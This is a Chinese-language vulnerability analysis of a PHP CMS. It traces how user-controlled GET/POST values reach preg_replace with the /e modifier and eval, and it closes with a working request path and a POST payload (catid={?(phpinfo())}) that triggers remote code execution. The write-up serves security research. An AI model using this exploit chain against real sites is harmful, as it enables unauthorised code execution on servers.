源码分析
该处漏洞主要是preg_replace 函数/e模式下存在的代码执行问题,虽然该程序版本较老,但该问题在其他程序中仍时有存在
漏洞触发点在 lib/tool/form.php文件中,关键代码如下:
function getform($name,$form,$field,$data){
if(get('table')&&isset(setting::$var[get('table')][$name]))
$form[$name]=setting::$var[get('table')][$name];
if(get('form')&&isset(setting::$var[get('form')][$name]))
$form[$name]=setting::$var[get('form')][$name];
if(isset($form[$name]['default']))
$form[$name]['default']=preg_replace('/\{\?([^}]+)\}/e',"eval('return $1;')",$form[$name]['default']);
if(!isset($data[$name])&&isset($form[$name]['default']))
$data[$name]=@$form[$name]['default'];
if(preg_match('/templat/',$name)&&empty($data[$name]))
$data[$name]=@$form[$name]['default'];
if(@$form[$name]['filetype']=='image'){
$return=form::upload_image($name,front::post($name)?front::post($name):@$data[$name]);
}
关键点在于这句
if(isset($form[$name]['default']))
$form[$name]['default']=preg_replace('/\{\?([^}]+)\}/e',"eval('return $1;')",$form[$name]['default']);
当if条件成立时,就会引发代码执行问题
下面寻找触发getform函数的代码
可以看到该函数存在六处调用,尝试跟进第一处
代码位于 cache/template/default/manage/#guestadd.php
<?php echo form::getform('catid',$form,$field,$data);?>
该段直接调用了静态方法getform,但目前并不知道 catid是什么,尝试全局搜索
在/lib/table/archive.php中找到了catid 相关的函数
function get_form(){
return array(
'catid'=>array(
'selecttype'=>'select',
'select'=>form::arraytoselect(category::option(0,'tolast')),
'default'=>get('catid'),
'regex'=>'/\d+/',
'filter'=>'is_numeric',
),
'typeid'=>array(
'selecttype'=>'select',
'select'=>form::arraytoselect(type::option(0,'tolast')),
'default'=>get('typeid'),
'regex'=>'/\d+/',
'filter'=>'is_numeric',
),
'toppost'=>array(
'selecttype'=>'select',
'select'=>form::arraytoselect(array(0=>'不置顶',2=>'栏目置顶',3=>'全站置顶')),
'default'=>0,
'regex'=>'/\d+/',
'filter'=>'is_numeric',
),
'ishtml'=>array(
'selecttype'=>'radio',
'select'=>form::arraytoselect(array(0=>'继承',1=>'生成',2=>'不生成')),
),
'checked'=>array(
'selecttype'=>'radio',
'select'=>form::arraytoselect(form::yesornotoarray('审核')),
),
'image'=>array(
'filetype'=>'image',
),
'thumb'=>array(
'filetype'=>'thumb',
),
'displaypos'=>array(
'selecttype'=>'checkbox',
//'select'=>form::arraytoselect(array(1=>'首页推荐',2=>'首页焦点',3=>'首页头条',4=>'列表页推荐',5=>'内容页推荐')),
),
'htmlrule'=>array(
//'tips'=>" 默认:{?category::gethtmlrule(get('id'),'showhtmlrule')}",
),
'template'=>array(
'selecttype'=>'select',
'select'=>form::arraytoselect(front::$view->archive_tpl_list('archive/show')),
//'tips'=>" 默认:{?category::gettemplate(get('id'),'showtemplate')}",
),
'showform'=>array(
'selecttype'=>'select',
'select'=>form::arraytoselect(get_my_tables_list()),
'default'=>"0",
),
'introduce_len'=>array(
'default'=>config::get('archive_introducelen')
),
'attr1'=>array(
'selecttype'=>'checkbox',
'select'=>form::arraytoselect($this->getattrs(1)),
),
'grade'=>array(
'selecttype'=>'radio',
'select'=>form::arraytoselect(array(0,1,2,3,4,5)),
),
'pics'=>array(
'filetype'=>'image2',
),
'author'=>array(
'tips'=>' ',
),
'attr3'=>array(
'tips'=>' ',
),
'htmlrule'=>array(
'selecttype'=>'select',
'select'=>form::arraytoselect(getHtmlRule('archive')),
'default'=>'',
),
'tag_option'=>array(
'selecttype'=>'select',
'select'=>form::arraytoselect(tag::getTags()),
),
);
}
注意到这一句
跟进get函数
functionget($var){
if(front::get($var))
return front::get($var);
elseif(front::post($var))
return front::post($var);
elseif(config::get($var))
return config::get($var);
elseif(session::get($var))
return session::get($var);
}
继续跟进
staticfunctionget($var){
if(isset(self::$get[$var]))
returnself::$get[$var];
else
returnfalse;
}
staticfunction post($var){
if(isset(self::$post[$var]))
returnself::$post[$var];
else
returnfalse;
}
最后跟进到front类中__construct()函数
//关键语句
self::$get=$_GET;
self::$post=$_POST;
这就说明catid和defult的值都是我们可以控制的,这样我们就可以通过控制$form[$name(catid)] ['default']来达到执行任意代码的目的
此时我们需要寻找一个触发getform()函数的地方,并且再触发该函数后需要引用guestadd.php页面以此衔接我们的利用操作,全局搜索后定位在 /lib/default/manageact.php ,该文件在第29行对get_form()函数进行了调用
$this->view->form=$this->_table->get_form();
同时在/lib/tool/front_class.php 文件的front类中存在这样的代码
if(@$_GET['g']&&is_numeric(@$_GET['g'])){
header('location: ?case=manage&act=guestadd&manage=archive&guest=1');
}
该文件是网站入口文件index.php所引用的,所以我们访问如下url即可触发
接着会被重定向为这样:
http://localhost/index.php?case=manage&act=guestadd&manage=archive&guest=1
这时只要post过去符合正则匹配的代码就可以了
'/\{\?([^}]+)\}/e'
//该段正则表达式即为匹配{?任意内容},当post如下语句时就会触发执行
//catid={?(phpinfo())}
梳理一下利用过程:
index.php->
(/lib/tool/front_class.php)->
(/lib/default/manage_act.php)[->get_form()]->
(cache/template/default/manage/#guestadd.php)[->getform('catid'...)]->
(lib/tool/form.php)[preg_reolace()]//RCE
后记
当我们传入{?(phpinfo())}时,函数会变成这样
preg_replace('/\{\?([^}]+)\}/e',"eval('return $1;')","{?(phpinfo())}");
匹配成功后会执行eval('return $1;')
而(phpinfo())在正常情况下同样会执行
执行成功会返回true这样前面的eval('return $1;')就相当于eval('return phpinfo();'),所以出现了代码执行 |